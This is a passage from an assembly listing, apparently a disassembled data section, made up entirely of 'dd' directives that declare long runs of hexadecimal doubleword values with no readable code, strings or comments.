0BFD3E78Fh, 0C0BBC0F5h, 0C5607CB4h, 2611FAEAh, 368912Ch dd 454F77FBh, 0B4629698h, 0D80004B0h, 0CE26DAB9h, 43638Bh dd 0A3144C3Ch, 0C9F71A57h, 875CA439h, 9E8B2336h, 9C4C7F71h dd 903B05C0h, 81905C20h, 0C9726A00h, 807B8812h, 0AF14C09Eh dd 0FC970092h, 0F6D24BBCh, 0ED67104h, 0A76D2CCBh, 0CEDE8460h dd 490014B3h, 0F0C6323Ch, 38DB66Bh, 30D555A4h, 3789720Bh dd 387BDC02h, 3672B00h, 0E166A0E2h, 0BA5900DBh, 3C78CF4Eh dd 0BD001B83h, 0B53667D3h, 0FA8821FAh, 2DC8073Eh, 6056B96Ch dd 0A5FE05F0h, 0CB16F400h, 854FD33Bh, 60412571h, 0C9A7A801h dd 0B22EC0AFh, 0C1FA9102h, 0A067DD6Ch, 9E124CF4h, 57A50762h dd 975DC0A4h, 0D832E04Bh, 82002044h, 50A7DED2h, 1F42BE0h dd 0A4D5CCF2h, 39D0E1DBh, 70037214h, 8D136306h, 0F407FD6Dh dd 0F80778h, 2949B5FDh, 195CC9CEh, 40E08E04h, 0E59075A7h dd 366A5C08h, 1C25DC4Dh, 0EE892048h, 6400D35Bh, 0AF79F096h dd 4895000Eh, 3FA7ED56h, 2A7B60CAh, 0B157DD00h, 43593436h dd 0BCCD74E0h, 765E0F98h, 0E5AEFFh, 367C3804h, 0CC00AA7Eh dd 0A7EBAF9Ah, 0B36FECh, 44033C5Fh, 310E4107h, 9BFC050h dd 0A65A8200h, 9170EEA3h, 0FBF14C85h, 1E7A0850h, 525356AAh dd 0F811003Ch, 0BF8E746Ah, 0BC817703h, 0D066197Bh, 0EF085C9h dd 33C8417Ch, 0D3ABA4A0h, 150746ECh, 0A701027Dh, 6D1AB720h dd 92133F7Ch, 508065A7h, 0A52FA25Bh, 67D4AA07h, 0A99982D8h dd 4FB60060h, 155BC4Dh, 99A5C8DDh, 619846EDh, 0F0D6CC80h dd 0D51A3C06h, 0F8B030A0h, 372B30CEh, 2A9DB141h, 0CDD98F07h dd 8AD7AB21h, 1131B2E0h, 0A7AE1E6Fh, 0E3E20058h, 8EC130F5h dd 5C593560h, 0CBE3674h, 0C7802A65h, 9C017920h, 7D51E355h dd 783CF4B6h, 2397350Eh, 84827078h, 0AE9850C0h, 1F64A71Eh dd 4FABD70Ch, 54608974h, 6AA4D14Ah, 0B7B91800h, 0C0D92953h dd 2AB8A6h, 7161BE73h, 0DA790A85h, 5444ED0Eh, 65BFE029h dd 1741D1EEh, 0FB35EC46h, 0DC220500h, 1138620h, 3D2B0E1Ah dd 0D58CEDF7h, 9308027h, 77B3DB0Bh, 4CFC0794h, 0B0E2EAF4h dd 4FF31A38h, 0F070C500h, 0D2DC9D9Eh, 92480060h, 49EBA2A3h dd 0CA000F13h, 0F0313BB4h, 1086A5h, 6CED0D41h, 163ADFD4h dd 3F005D7Ch, 0A6676B2Bh, 0CDF985h, 8DAD7E03h, 8B812DBh dd 5D105A00h, 98E00151h, 4AB43030h, 9BDC2DD4h, 0A6A06350h dd 0C2EF0300h, 263BA7CBh, 0C31800C5h, 0FFA3A540h, 98002A75h dd 43FB8C70h, 0F342ACh, 0C77C9EF6h, 95B89C93h, 0D53E9678h dd 0E3AB0016h, 0C86DA2F8h, 1F8503F0h, 0FA98D835h, 11A83E0h dd 0BAAC5901h, 0A184F2A3h, 2B37C0E6h, 8F9B3B0Dh, 67131C81h dd 30348D1Bh, 613BF2F2h, 0F1068321h, 0F0ED7D2Fh, 23D5DFCh dd 1A98B7EFh, 44A1762h, 55044088h, 0F96A4CD6h, 0D250DD00h dd 0B91B1EF7h, 0B5456405h, 8380A4CFh, 98EA8F99h, 0A5D63D04h dd 2F350802h, 7C5E8AC2h, 0AEC61200h, 62BE99B9h, 0A9D929E3h dd 2189BC22h, 1ADAB3Eh, 8D12C0A0h, 0FAFD8C11h, 10115A02h dd 0C103DCE1h, 0A81B44FCh, 7F444648h, 11803521h, 212A2F9h dd 0CC875081h, 822902A7h, 25AF3D14h, 1C2802AEh, 1D04A0B5h dd 12A17021h, 6614814Ah, 1101F5C8h, 0A8D903AFh, 0FBDB09h dd 696A1740h, 90D00AC6h, 39D25900h, 2087E72Bh, 337E00E2h dd 0F8502FC0h, 6D00C5ABh, 489044D9h, 900817A3h, 9772F5h dd 3BF6FD2Ah, 0F814D4ADh, 4A510900h, 0B2650C9Bh, 0D0EE0016h dd 0BC83FA37h, 12012967h, 4EB98684h, 1ED4C8A4h, 2ED7C21h dd 94A3E856h, 0B0C0C27Bh, 0AA00BF22h, 379BB242h, 3DF2AF88h dd 0FB8047D5h, 0C0D6DD07h, 8A264483h, 0C318355Fh, 174C720h dd 99F14930h, 0F258E8A9h, 0D47E2448h, 91473D00h, 7F3E222h dd 0CD6800DEh, 698DB24h, 0F8F8D39Dh, 0E4FD3500h, 0AFC19965h dd 80C40677h, 60307DEFh, 8601D400h, 4219B3A4h, 2EA7C83h dd 0A1E8AD1Ch, 5C403498h, 0F700D0BEh, 3B0F9CF1h, 52A7BA85h dd 0BB008CCEh, 0CFB9C050h, 7B019D70h, 6E1D902Eh, 9047B8DFh dd 0E60DD990h, 5FF1005Bh, 5545B034h, 0A41FD013h, 0C605578Dh dd 8C00098Fh, 280626D9h, 0E5870085h, 0BA5EADFh, 9A0098BCh dd 4F65AF67h, 7C804DB4h, 1A100001h, 0D040A3F9h, 5AB86CF0h dd 96306303h, 0FFC90BDh, 81FAA9E0h, 6FC09A2Fh, 46A349E8h dd 19166E02h, 7F54B803h, 51922AE0h, 4AD22E00h, 3E55A060h dd 172700DFh, 36C68D63h, 0B002425h, 0E01E76E1h, 3AD36FDCh dd 0E804ECCh, 885B1002h, 0AF0044F3h, 0F4C63B1Ah, 0EA8BAB3h dd 0BE6B0DA1h, 47E261A0h, 2C00D717h, 0DC0EF9C7h, 1E2B78C2h dd 5813E54Bh, 17FA76D8h, 7D302200h, 164DD146h, 91F703C6h dd 54CAB642h, 1FE650E8h, 599EC11Fh, 1DECCC7h, 93404447h dd 6E1C41h, 7C70D8E9h, 5A378CD7h, 8F2E570Fh, 0CF9A6026h dd 3AA066DFh, 97804E88h, 1CC1E059h, 4B00C015h, 0FA3D656Eh dd 0FA1F8737h, 14561EFEh, 0A634C15Bh, 0F01E43C2h, 5400C922h dd 0E02EF4E3h, 0E2ADF3h, 0F12D8A48h, 1743D44Dh, 0A846BB0Eh dd 1603DF56h, 0C0817FF2h, 0F9605Bh, 77376E57h, 0B3D89A78h dd 0CD001D7Fh, 0B15A4F86h, 0C99E1Ch, 0F895515h, 3FC416DDh dd 6488E003h, 0C0FE6F58h, 20FD59h, 2DC090A3h, 0DB21E177h dd 5F03C200h, 82D675F9h, 549096h, 0B23D161h, 574FEC01h dd 0E1975007h, 26D0BC53h, 30F3931h, 0BEE378AEh, 0F4907337h dd 0A61C0BEFh, 4EC6F009h, 3AF8C145h, 1F00E880h, 7B0CDD73h dd 8A007CB1h, 528C2C21h, 9D182Ah, 50D2C687h, 24FCA82Dh dd 69DBF400h, 3B49AD97h, 0F22F0E17h, 0DEC09DBBh, 874DAC35h dd 12577C00h, 4A45F592h, 0B4540072h, 0A49DAEE9h, 7C0065D8h dd 9192582Ah, 13795DFh, 8CB53BFCh, 0E474E941h, 57098BE6h dd 15ECF97h, 0C5A7D196h, 0FFFDFCh, 94968C6Fh, 72FA95A6h dd 622F8000h, 35E20119h, 4CA4601Dh, 13448A10h, 0ED9A5A1Fh dd 0ADCDF200h, 46C9E4h, 0F8FBAC7Bh, 97969941h, 6DD92D03h dd 8838A5C6h, 1B0BCD6h, 13FEB891h, 0E4C03BE4h, 0B9009EE7h dd 2E97F6F7h, 1465EC62h, 0A4C531DCh, 0D9010077h, 0FE858D77h dd 2900681Ch, 0E33AFAF4h, 0FAB4423h, 0DBB605C6h, 681BCC0h dd 86073620h, 0B3A114B2h, 41BF7C31h, 0BDDEEC40h, 7A1C1F10h dd 68794380h, 9DAE6E1h, 260F0075h, 3ED5C18h, 71AA2876h dd 3800382Eh, 594C1C14h, 1E0F8404h, 0BD10B4C0h, 92387883h dd 0E0815356h, 0E6F6F0C3h, 9767100h, 0BE550E4Bh, 0FE733Ch dd 69DD68ECh, 0A2C9ABE1h, 3A7E2059h, 0B65D0099h, 0A70F58AAh dd 0FF9F004Dh, 0CE0DF56Bh, 0EF0F5733h, 7283D4CFh, 7D44AC02h dd 0C4830FB8h, 7802AC9Fh, 8E1E21Fh, 0F8AC43A4h, 6FBFF8h dd 2AB2724h, 0B39E4AFBh, 0BAB8D0F3h, 0E1854304h, 0C490A18Ah dd 7C6D258h, 0DA6BEF95h, 6C9A40FFh, 46078B7Ch, 0D08E9E75h dd 0EA261AC0h, 0B0350077h, 330A7606h, 0DF50C209h, 789FC1E0h dd 0B3650498h, 0C0725C21h, 8FFB1071h, 736A8B0Eh, 0EE910064h dd 1FD4BB8h, 0A97A94EFh, 0C0C99CEDh, 657697FBh, 1A9AA500h dd 0F8E9C5C0h, 0D49D6055h dd 6B5268F7h, 12DECF00h, 0A6199101h, 7EE33DF1h, 0D7486480h dd 4225C7A2h, 0F495C800h, 0E96711ADh, 24991C47h, 9E10416Ah dd 0D1573280h, 0C0C1C0CFh, 0D404A4A0h, 6F28BC0Eh, 5792017h dd 10DEA1h, 98E37078h, 0AE146F4h, 0F16AFE00h, 0EDFCC895h dd 7805004Dh, 317D281h, 9F01C364h, 489C0DF3h, 0D420406Dh dd 1A2E041Bh, 0C0572D4Ch, 0AEE5346Ch, 9B66F700h, 0A729864Bh dd 0E01601F8h, 0EC307B2Fh, 75A8D09Eh, 5B00BFF8h, 140CD08Fh dd 9B9AAEh, 4769409Dh, 0CB837463h, 0C6176400h, 0AE6736D1h dd 58A50087h, 108C459Fh, 19005FE6h, 77567994h, 0B0C4D1h dd 0F060161Ah, 0E4787F1Fh, 8E40D000h, 909977B5h, 988B1D87h dd 0F3073C5Ah, 0B1BB9391h, 0E37CCAC2h, 6CA85593h, 0CF0051FCh dd 0B89726E7h, 0E2BEB6EBh, 46072E06h, 23C100F1h, 0A01E47B2h dd 0C848D4h, 526439BFh, 6F8732h, 0B9BA50AEh, 2807C467h dd 651B9A00h, 0D29B4457h, 717A3C70h, 0A0045003h, 0EAC0092Ch dd 0FB006B16h, 0DAB2E722h, 758A85h, 4B8F9303h, 62C6594Fh dd 94170A00h, 0D89790E2h, 742100EEh, 54B56BABh, 96141B0h dd 6A47CB30h, 0BA0060h, 2F4248E3h, 0EA6073C4h, 3402CC74h dd 0FC62BE7Bh, 0A5AC40C6h, 0C55007EDh, 30DE88F1h, 9E51FE40h dd 39B1CE00h, 0EA89DACh, 0B42F0422h, 8012BE7Ah, 69FD8D4h dd 1CDA05Ch, 2D492A70h, 0B483C232h, 0B8ED530Eh, 86779BD0h dd 0C012AA03h, 87EE5C36h, 0C80D80CBh, 0A1ECA4h, 528325AEh dd 70168BB3h, 2D3F3Dh, 852678C9h, 3047E8Dh, 15B418FBh dd 0E7889FA3h, 5E0ED8CEh, 207548E5h, 0F2415FEAh, 73B658E8h dd 8ACC0F07h, 533571E7h, 0AB4050A4h, 93008F80h, 63144A7Eh dd 700B20h, 567A0CC5h, 0F0B35F4Dh, 0A8DECB00h, 3C5A48AEh dd 1EC830DAh, 0B153DF28h, 2E83848h, 0A08663ADh, 0A6D08081h dd 0C957Ch, 8BE32845h, 26207DDAh, 0CB369A18h, 1F2A10h dd 0AE2122DFh, 7105870Eh, 0F6E5AA03h, 0D8EAF03Fh, 468FA9h dd 4C2DE8CFh, 4BC69C9Bh, 0E1128E00h, 6D541AC0h, 9A680053h dd 0AEA4A5F8h, 3100D71Eh, 0C405DB44h, 1D62080Eh, 7D5629h dd 0AF190D30h, 76724069h, 5DD5B00h, 0A1BCA582h, 9C6600EBh dd 4ED75D4Dh, 0DB0F659Fh, 608CB4F4h, 656B6FDh, 0C1A30053h dd 62589D91h, 7F007AC6h, 0B424EA6Bh, 1E183DEFh, 80735B85h dd 6DED04F8h, 0D200223Eh, 2AEA7DCh, 906E7BFh, 0D1A699A2h dd 12313400h, 8900348Ch, 5B72C27Bh, 1CCD3D68h, 40656A26h dd 0E37A0E33h, 56002738h, 1BF3D1B5h, 5B52F6h, 0BB6468Ch dd 98B82AC6h, 0A21761Dh, 0B50556D0h, 98F046DFh, 0C200C59Ch dd 7FF5B7CBh, 74288Fh, 7C7B593Fh, 2EF0FD39h, 844F805h dd 0E88045A7h, 0D33386h, 0C41E6C21h, 466EB0E9h, 0B52F3C00h dd 0E71D4E7Dh, 6378000Ah, 0F008FC47h, 2D001261h, 0DDB35401h dd 0C2577E0h, 1FBF2FD7h, 0EBEC91F0h, 1000BC4Ah, 8EDECD24h dd 5F42BD66h, 0A87E9C6Bh, 0D09C3Ch, 20E9DF21h, 0A2EAEEh dd 0FCA908DCh, 22F8F511h, 8CA4C100h, 0A7A8D581h, 0DFC40h dd 6CCFAD4Fh, 0D887311Dh, 30D42304h, 2880C820h, 63769Dh dd 0A3A0CEF2h, 0DDA25D17h, 7757620Eh, 2080AEA7h, 861BDC1Ch dd 894100BCh, 31CEC8BEh, 0AC1364F9h, 0F8005297h, 0B3C604CBh dd 6D5100C2h, 0FFB4066Eh, 200F3A6Ah, 7C66F8B9h, 0CA9F3080h dd 527C5C9h, 32A76CECh, 358400C8h, 0D2E840BEh, 4E00CEE2h dd 0E1415358h, 0A9C4B2h, 7E78BF59h, 0EA2324D7h, 54B9A42Ch dd 77513201h, 0CC62B290h, 72A63C00h, 4904EE0Dh, 8BB9FCA0h dd 1CF8B25Ch, 76C07B65h, 6A6719D0h, 0E73900A4h, 384DE157h dd 607733F8h, 0AB2CBC14h, 1DD90EB8h, 0ACD1A086h, 0E88F336h dd 0F819CD49h, 0B09FECA0h, 0BF00F13Ch, 80A14277h, 78BC15h dd 7630D7B9h, 5E82BE60h, 2301D0FCh, 0D9DCDAA0h, 57DC6F32h dd 90B279h, 0F49FEEC5h, 0A9EFCC09h, 2CE04100h, 0FAB277C7h dd 3CA6016Ah, 8A14B00Ah, 9113E4F9h, 0EC5ED3Bh, 341735h dd 3B4CC2FDh, 636000FBh, 0E1093A5Bh, 0C700F95Eh, 0A9F81555h dd 71F114h, 0B72F68CCh, 0D04508B0h, 0A2F3D400h, 33BD55AEh dd 3C7AF03Ch, 7B004B22h, 9775F231h, 0C2262680h, 0D4208CB8h dd 9C11E100h, 928E14C1h, 53EC45h, 0B62BA4Dh, 8485A835h dd 0C30E0A07h, 1FB0A6B9h, 0D92B87h, 339CEA93h, 3D96C4F7h dd 0C663AA1Dh, 43ABFC4h, 0EF45F8C0h, 0C49F4D6Eh, 0EA1F3E58h dd 0CDABC033h, 97E6D51Ah, 0C8873D2Eh, 67F04700h, 0FC4DE5Ch dd 562393FEh, 95C03CEFh, 3AA39F1Ah, 9020F200h, 0D7D93602h dd 0ED8E24E7h, 9A2C0014h, 0DF7A2286h, 54FFEA01h, 598BA318h dd 3EEB17E0h, 9E05E0A5h, 0C0C71FD2h, 10BB0CF4h, 0D47E5800h dd 845C8CDDh, 9C9B4833h, 4F3D9F00h, 46530D5h, 9100C9F8h dd 0DE921BE8h, 0A2B98673h, 17F140C4h, 0F46A4809h, 0C460E001h dd 0C00FB853h, 940086BBh, 0E65F57DAh, 87F40Ah, 76EDA7D5h dd 0EF8AAA74h, 1413E909h, 0E00C40D6h, 7EAD00D9h, 0C24BFB10h dd 4000591Fh, 0EB3ED8DBh, 30E9B92h, 78F854C9h, 91C0BA14h dd 9C00C7A6h, 92C56CF2h, 0FA300A8Ch, 46E27Fh, 0E4B5611Eh dd 0B7A1957Dh, 0F0A9A40Eh, 2CA22052h, 0C0BCC969h, 0E648FFB9h dd 61F0C3E2h, 0B3A2F501h, 5C8D73AAh, 9819D1F3h, 0F153D040h dd 0EB3100FAh, 2D8FB770h, 0D0E1F8Eh, 60D4AA72h, 0D026C7B9h dd 0AF4401EFh, 2FF414A6h, 0D890D4B0h, 1FA753Ah, 5E3DDAE4h dd 73205687h, 0F2379AAh, 8A8D8919h, 0B9571DA0h, 3800BC1Ch dd 2361A8A7h, 0B85C7440h, 0C8E700B8h, 0C881E10h, 9900FD5Fh dd 0A9BB6736h, 0AE8D82h, 0F080A6B1h, 55B57457h, 8010CD3Fh dd 3EBE417Eh, 1FAEC047h, 0DD6E6685h, 0FADF42B3h, 22404C2Bh dd 21005844h, 0A4F06389h, 72EF629Fh, 0B660EBF7h, 0B3680015h dd 645F7426h, 28002FA7h, 0E9FEFCE6h, 3C63BDh, 34936CADh dd 73E24EBBh, 0E1948116h, 0F39081Fh, 0E0E89C98h, 0EF6092DFh dd 12030053h, 0C98B907Fh, 6AB00685h, 9B5D1D00h, 0D2B01FEAh dd 30480059h, 0BA2A12DCh, 7A02570Ch, 3B751B16h, 0C00C42B1h dd 1C21E778h, 844BC9h, 0C68A434Fh, 4700A7D3h, 0B989873Eh dd 13A13D1Bh, 5F98D8h, 418445E3h, 2B12E8F8h, 4206B69h dd 46104895h, 1F5F0015h, 62044ABEh, 632618BAh, 45C52019h dd 955E9300h, 41E0539Dh, 15020154h, 0C4832849h, 48A670D1h dd 0F63C3100h, 999E4518h, 0D200043h, 9F7A3054h, 0C70071A6h dd 147E4233h, 708D5B11h, 110E4BFh, 56E41DC1h, 0CCCA8AA4h dd 0EC09AB06h, 0E8C39EEFh, 902D451Ch, 13E100BAh, 90B4C9CFh dd 2701A0A2h, 0B6DCCA05h, 5C304ABBh, 0D0F40206h, 348FEEF6h dd 90083070h, 87DAAEC1h, 0A240D3D8h, 2C706750h, 0AEA55A00h dd 6F837F64h, 2CA3E0D5h, 580C07Ch, 1FE79AFDh, 0BA023A84h dd 1BF69DB5h, 79002C70h, 0F3844CC6h, 5C24931Ch, 5C0092EDh dd 379D7128h, 5A7485DBh, 6C00B8B0h, 0FB1E0F90h, 46CDC5h dd 0C7ADCF91h, 0C28DA7AAh, 4834EB4Ch, 765D780Dh, 25540030h dd 99FEF42Bh, 95CA00C3h, 7F7B7E3Eh, 230ADCA6h, 0DFA5D1B1h dd 0A349C503h, 0FA18A00Fh, 4F3302FFh, 0C6E07AE4h, 7365D8A0h dd 25488A17h, 0F4670028h, 314A9BDFh, 75EA0B4Bh, 0FB807239h dd 2EA5DBFAh, 0D99F8E00h, 14B2733Bh, 57100027h, 828F65E3h dd 3D0052A3h, 5D7B23DEh dd 691837h, 5AF94980h, 9DBAF472h, 224DA200h, 1B2AD42Dh dd 300D6143h, 3CDAB594h, 24C200C0h, 2C2B4746h, 0DD3317AEh dd 70A449B7h, 0C06EF0C0h, 1CB0F560h, 0EE745F52h, 0BD8203E4h dd 6432BEC2h, 9402239Fh, 3F975B0h, 0D724C00Bh, 41E40F13h dd 0BFF2D58Ah, 7181E040h, 0B0C90785h, 1048B4F1h, 0DD16E870h dd 2A670C09h, 85D4A031h, 50460958h, 0E0B8C8h, 3A842999h dd 0F6FCFBFEh, 2F77A800h, 31F5AE5Bh, 24BF048Eh, 0F4F97E2Eh dd 8CE85498h, 0CD006FF8h, 4EBDDC38h, 412E99h, 3D63E0CEh dd 0EB3A0218h, 852CED39h, 97ABFFD1h, 3B1720D0h, 0DC830979h dd 1801989Dh, 0C1B40A72h, 1AAFFC2Ah, 0ED79492Eh, 63250D00h dd 0EF834Fh, 0C3F6737Ch, 7AB9CDCFh, 83153024h, 0EA43C71Fh dd 0C042BC53h, 90FF646Ah, 5BD0084h, 0BA18AD08h, 98003996h dd 0CDC60957h, 0F4D129h, 2A0660E3h, 0CCB28967h, 0F76B3E00h dd 0D859B010h, 0F3AA2557h, 1A445801h, 9061C4EBh, 5100D8B8h dd 95757F53h, 7F2BC30h, 9EDCD1B7h, 0EB16603Dh, 3B0FFC15h dd 0C0F6757Eh, 99F9EE06h, 627F0C42h, 0CA2A0592h, 0FCEADB02h dd 41BEBB52h, 0FED43340h, 63730042h, 0A38423D1h, 0E3DB14Fh dd 99A68020h, 67F28C49h, 1E923F38h, 0CC6400DAh, 73B6E6F3h dd 349F6000h, 93561C18h, 4A653FB8h, 0BDE3D105h, 0E1F40004h dd 4E7BEA76h, 5800727Ah, 3FDAE59Fh, 0C2BC81h, 23B2921Ch dd 19140361h, 4316289Ah, 0A441F49Dh, 0B41FD6CBh, 6D0DFCh dd 0A8D4F863h, 0D19E667Bh, 6E00E573h, 0AC8A48BBh, 101819Dh dd 8F5FFF13h, 0E4E62A27h, 730AA1ECh, 943D86E2h, 52A98E80h dd 0E52F7276h, 5CA0AF30h, 6A000897h, 35DD1E2Dh, 0AE0028B1h dd 0A462ADF7h, 2DC8A07h, 3AE5E169h, 30588BA2h, 0BE5D2601h dd 8E358760h, 0A4404CC1h, 257B2Bh, 1EBD08Dh, 55B892F2h dd 0C375BD00h, 3C99063Fh, 51D30084h, 0DAAA119Ch, 23001D58h dd 9ABFE1EAh, 3834D880h, 3B4E33F9h, 8A7BC200h, 0BC1610BFh dd 1001E85Bh, 0B279ED0Eh, 15053428h, 851775h, 0D8E61299h dd 7700D592h, 1FD20AB5h, 0F30B738h, 0C83CF573h, 1723C901h dd 0FC953079h, 0AC3E9B28h, 715C400h, 378A4225h, 147058EDh dd 20F77112h, 552CA3F0h, 7AA2BE00h, 0CDDF5F3Ah, 0A412004Fh dd 0E9C6E225h, 1B0066C1h, 21908FF0h, 564D603h, 8268D2F7h dd 40BC0072h, 5D3353AEh, 1E882A04h, 28970D01h, 0D980E6C0h dd 9A8D021Ah, 3D1DBE8Fh, 2EF390E0h, 50ED9601h, 4A0AC4Ah dd 5483F980h, 568B87C2h, 0CF29BD00h, 0E0B224EFh, 6C4F00B5h dd 3FBA98BEh, 0D2ECC8Ah, 0F44114E3h, 1880EEADh, 0C31F8C40h dd 0B60EAC68h, 0C084CED1h, 0BC176212h, 5E5400F1h, 2B108CA9h dd 8B172E7Fh, 0C801397Ch, 0C58A3E2Ah, 1C304B00h, 96B68800h dd 50D3C9B8h, 0C0380089h, 0FE16AEFh, 6E009A0Dh, 616BD015h dd 3E1C7EAEh, 4083A74Eh, 13389B72h, 23043EC8h, 2661A400h dd 0D3818203h, 0D10E01ADh, 8D1FEDB8h, 0C14E06Ch, 7C3F0B00h dd 8A910722h, 62CEF309h, 0B8D8D8h, 4959895Ch, 0FEB50AE7h dd 0EE1A5D1Eh, 6AAC90C0h, 0C30CC6h, 83B69334h, 82E0120Fh dd 5D42F100h, 0EF4B52EDh, 37AFA86h, 68900317h, 87F89561h dd 247EC37Ch, 64017F73h, 0A78F2FC2h, 0FBD0CC9Bh, 11D0021h dd 181BF570h, 0F10E9834h, 0A26D04C1h, 52FB8E43h, 0BB6138BCh dd 2A8F7F00h, 0B2508253h, 5DC42C01h, 8B8431E7h, 14434E0h dd 0EE7F598Ah, 3FF39786h, 1CC98B0h, 14C1AF68h, 4061960Ah dd 4AC6ECD4h, 396C5405h, 1DC022CCh, 57B441h, 0BE0AB2B7h dd 3A17F078h, 86A20661h, 0B430A131h, 0B35A0029h, 57B75E27h dd 0C80097ACh, 1A533358h, 1727CE6h, 54DA50BCh, 70A7E20Eh dd 6A00FC98h, 689F0735h, 19B7904h, 33F8A0EFh, 306D4D8Ah dd 580045DEh, 7A97B5E6h, 94AD9B80h, 0D8803B40h, 791C6FE3h dd 0E00299Eh, 3D1851CAh, 0FE4C2086h, 0F89877h, 58DB4F7h dd 0A4FD918Bh, 0E527AD00h, 55DD4B89h, 0B0080F3Dh, 0F665C804h dd 1459C1E7h, 80C3C912h, 5FB92D68h, 9EC24045h, 263E80D8h dd 0FBA53A14h, 358DBC0Bh, 68142006h, 9C7D4534h, 47430194h dd 0EB2BD714h, 0DB36E9F0h, 9C41B300h, 0A4D6C196h, 20430384h dd 426A08EEh, 3900C9C3h, 28B27B7Fh, 14582FAh, 0A05CDC9Ch dd 85373CA2h, 0C6D45D90h, 324E8440h, 0F4615D0h, 4AC3C189h dd 0D6C5B880h, 75F0BBAAh, 2A0DFE00h, 0CD7696D8h, 0C437315h dd 0CFD735D2h, 0D01C3008h, 4E0C5E0Fh, 7F192816h, 3C3E66Fh dd 34360DCAh, 21E7F0CEh, 0F866479Ah, 3A00CC15h, 0AAF18EDEh dd 5BE1D8h, 85B0FB53h, 0DA6F9945h, 0BE499F02h, 0C01CDB89h dd 69F2E6h, 608323F4h, 0CAF88AC8h, 85D60F00h, 0F2A76803h dd 0C250793h, 1CFB2AEh, 0E0FDC079h, 341FA31Bh, 0F385DCE5h dd 0CDC79885h, 6DEAE2C1h, 2908E8h, 0BF9681C1h, 7CC6F5C4h dd 0D54E2000h, 0A6EF5025h, 0A0D1E8Bh, 5A44C2B1h, 95C047FDh dd 0BA725F4Ah, 2D005690h, 9F711C46h, 1C904351h, 0A40EFFh dd 5F1532CAh, 1D00BA80h, 0FD7717D3h, 15EC858Ch, 0AC2F708Eh dd 29134E01h, 20E90A95h, 5E031215h, 0DA8BC43Ch, 0ACCEB096h dd 58F50030h, 751E4C47h, 0B900395Bh, 1D8A71F3h, 12DC0E4h dd 0C4617E2Fh, 81D9DA6Eh, 7A3B2B58h, 9670AECFh, 1E660020h dd 81D57348h, 0A700FF1Bh, 13AA927Bh, 59FE0Bh, 0C43A276Ch dd 0D064A349h, 0CF628D00h, 0CEDD2DD8h, 6FF0A97Dh, 63B900C3h dd 0FA4160DEh, 511D15B8h, 0B300B457h, 0F503D978h, 588F60ECh dd 4E10712h, 802D7400h, 0FC33C34Dh, 617C000Eh, 63AB233Dh dd 0C000BD4Bh, 7F3610F3h, 1E57FCC5h, 0F7118318h, 8AD1038h dd 0D037C3DBh, 3EC08019h, 3825B7h, 7FD50D7Eh, 3506CB8Ch dd 0EE048253h, 0E44F46C7h, 93F02E5Ch, 0C000F485h, 7B1B96ACh dd 31E8CAh, 30513BA8h, 2F548A87h, 0EC07D271h, 57A08BF4h dd 814FBC87h, 0BFD5C11Ch, 4CD2DEF0h, 0D40027E3h, 0ABBD2F92h dd 0A6F03393h, 761A2000h, 0DE4F99E2h, 319C3AD3h, 40F46F1Ch dd 0EE43E179h, 250102CFh, 957BA8F3h, 0F9E588BBh, 0CA8A30h dd 49839072h, 5CB006D5h, 608CCE00h, 0F59CB170h, 4F1D0067h dd 0BBABE8AAh, 2F0149D9h, 0EB5B35C6h, 29886312h, 2C88A2C9h dd 185BACADh, 345F2832h, 84ED6F40h, 67885672h, 9FB38BAEh dd 0A3015111h, 0B57447Eh, 6290AC44h, 0A4A5294Ah, 24558822h dd 44A021BFh, 57107912h, 0FD888A7Fh, 217E113Ch, 5C9E08DDh dd 0E684F790h, 0A5F14448h, 487E9A44h, 650A425Bh, 22999522h dd 8F25890Bh, 60661404h, 3C806948h, 9B7ECD3h, 927ADDh dd 54C9D28Ah, 0F9326967h, 64A23800h, 0A9702B31h, 0FCA40F7Eh dd 5860AA13h, 52AF2446h, 0A4AB000h, 1A335531h, 3AB300FBh dd 3EF88EF3h, 34007AD1h, 0C7DD3C8Fh, 7BA4099Dh, 65980075h dd 6B10715Ch, 660097DBh, 3FB39BCAh, 484B72h, 9269AD8Bh dd 0D6B90F87h, 8829A100h, 0C035F32Ch, 330300A4h, 45D4C489h dd 3F0068E2h, 856FDFDDh, 7DB1FE19h, 26F93CECh, 9F36C00h dd 32B4E912h, 976FF704h, 98809BBFh, 5843EE74h, 7B7428h dd 5E58819Ch, 3E41ED3Dh, 1AF523Fh, 0C272FFD0h, 1DF0DD6Dh dd 80FE37h, 0E77B3271h, 0D4E223B7h, 0B6F6EB07h, 26F1E618h dd 1DFC4CE9h, 48C90621h, 9882C1B8h, 7064E000h, 4453E8E2h dd 87890012h, 8A3149FFh dd 5F048D3Fh, 543E27D2h, 6B30E880h, 521200C9h, 5319C4ADh dd 0F90FFD1Ch, 8068592Ah, 15DE70EAh, 29E4002Fh, 6A55F3BDh dd 0B2009271h, 0DD0BCB0Ah, 0B51874Dh, 844019E1h, 81443801h dd 0D55FFC1Eh, 0B9EC2600h, 0D9199779h, 8D8700E9h, 49CBEA5h dd 44B8D6CAh, 3B28C406h, 489FCFh, 0C230E899h, 2FDFED45h dd 778E0F00h, 634281D0h, 5898583Bh, 60201C0Ah, 592780F0h dd 0A2AF7434h, 1138CC03h, 8537D852h, 81BC800h, 39A92C4Fh dd 0DA1DFFCAh, 5B5C4045h, 0D7745879h, 0D8260B00h, 6B9DC52Ch dd 26B8EBh, 5083D0F1h, 0E43F464Ah, 0BFD68600h, 78978BF3h dd 5FE3E24h, 83FFD500h, 5F19CF12h, 2BED6100h, 0D9FCE09Ah dd 952F04DCh, 0C062F601h, 105EB89Ch, 54592030h, 1DF7E60Ah dd 7BE880B5h, 14C050h, 1BBBDB50h, 0DE237095h, 3899C70Ah dd 821FB6CDh, 69486440h, 128706E4h, 0B67591h, 0BCA94284h dd 5D3B1FB7h, 600F341h, 68F9BBA0h, 1B3BD9Dh, 8103501Bh dd 0F4760D12h, 3C92134Dh, 0C790CC00h, 0CF988808h, 0AEA73E77h dd 3278D7C0h, 3004BD71h, 574FD6A1h, 2F3E2090h, 4A53804Dh dd 54129100h, 1C7AB3ADh, 63AA03BBh, 45DF4BA2h, 0F7E076D8h dd 0B20EDD00h, 77152FB8h, 0F020E7FBh, 0E48500F3h, 0E1896A46h dd 1300E08Eh, 67BDABECh, 6CE6641h, 36D3713Fh, 2B004850h dd 0B9D46EBh, 1C7192Fh, 0F55ED98Eh, 0F83659B3h, 76009E0Fh dd 0C770810h, 0D81419h, 111D4BDDh, 8BE67904h, 3BB7E100h dd 0FCB97236h, 0A65C005Eh, 0F70C49B6h, 1F01974Ch, 0BBE2908h dd 80C2CBF2h, 0DB881DE4h, 0A427409Ch, 